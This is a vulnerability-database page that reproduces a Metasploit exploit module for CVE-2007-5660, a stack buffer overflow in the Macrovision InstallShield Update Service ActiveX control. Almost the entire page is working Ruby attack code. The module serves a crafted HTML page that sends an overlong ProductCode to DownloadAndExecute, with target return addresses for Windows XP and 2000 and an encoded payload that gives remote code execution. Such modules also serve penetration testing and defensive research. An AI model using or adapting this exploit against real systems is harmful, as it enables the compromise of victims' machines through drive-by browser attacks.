Macrovision InstallShield Update Service Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Macrovision InstallShield Update Service Buffer Overflow exploi

                                                ##
# $Id: macrovision_downloadandexecute.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Macrovision InstallShield Update Service Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in Macrovision InstallShield Update
				Service(Isusweb.dll 6.0.100.54472). By passing an overly long ProductCode string to
				the DownloadAndExecute method, an attacker may be able to execute arbitrary code.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;MC&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9262 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2007-5660&#39; ],
					[ &#39;OSVDB&#39;, &#39;38347&#39; ],
					[ &#39;URL&#39;, &#39;http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059288.html&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;         =&#62; 800,
					&#39;BadChars&#39;      =&#62; &#34;\x00\x09\x0a\x0d&#39;\\&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows XP SP0/SP1 Pro English&#39;,     { &#39;Offset&#39; =&#62; 600, &#39;Ret&#39; =&#62; 0x71aa32ad } ],
					[ &#39;Windows 2000 Pro English All&#39;,       { &#39;Offset&#39; =&#62; 600, &#39;Ret&#39; =&#62; 0x75022ac4 } ],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Oct 31 2007&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		sploit =  rand_text_alpha(target[&#39;Offset&#39;])
		sploit &#60;&#60; Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack(&#39;V&#39;)
		sploit &#60;&#60; p.encoded + rand_text_alpha(1200 - p.encoded.length)

		#[id(0x00000007), helpstring(&#34;method DownloadAndExecute&#34;)]
		#void DownloadAndExecute(
		#		          BSTR dispname,
		#		          BSTR ProductCode,
		#		          long MsgID,
		#		          BSTR url,
		#		          BSTR cmdline);

		# Build out the message
		content = %Q|
			&#60;html&#62;
			&#60;object classid=&#39;clsid:E9880553-B8A7-4960-A668-95C68BED571E&#39; id=&#39;#{vname}&#39;&#62;&#60;/object&#62;
			&#60;script language=&#39;javascript&#39;&#62;
			#{strname} = new String(&#39;#{sploit}&#39;)
			#{vname}.DownloadAndExecute(&#34;&#34;, #{strname}, 0, &#34;&#34;, &#34;&#34;);
			&#60;/script&#62;
			&#60;/html&#62;
			|

		print_status(&#34;Sending exploit to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1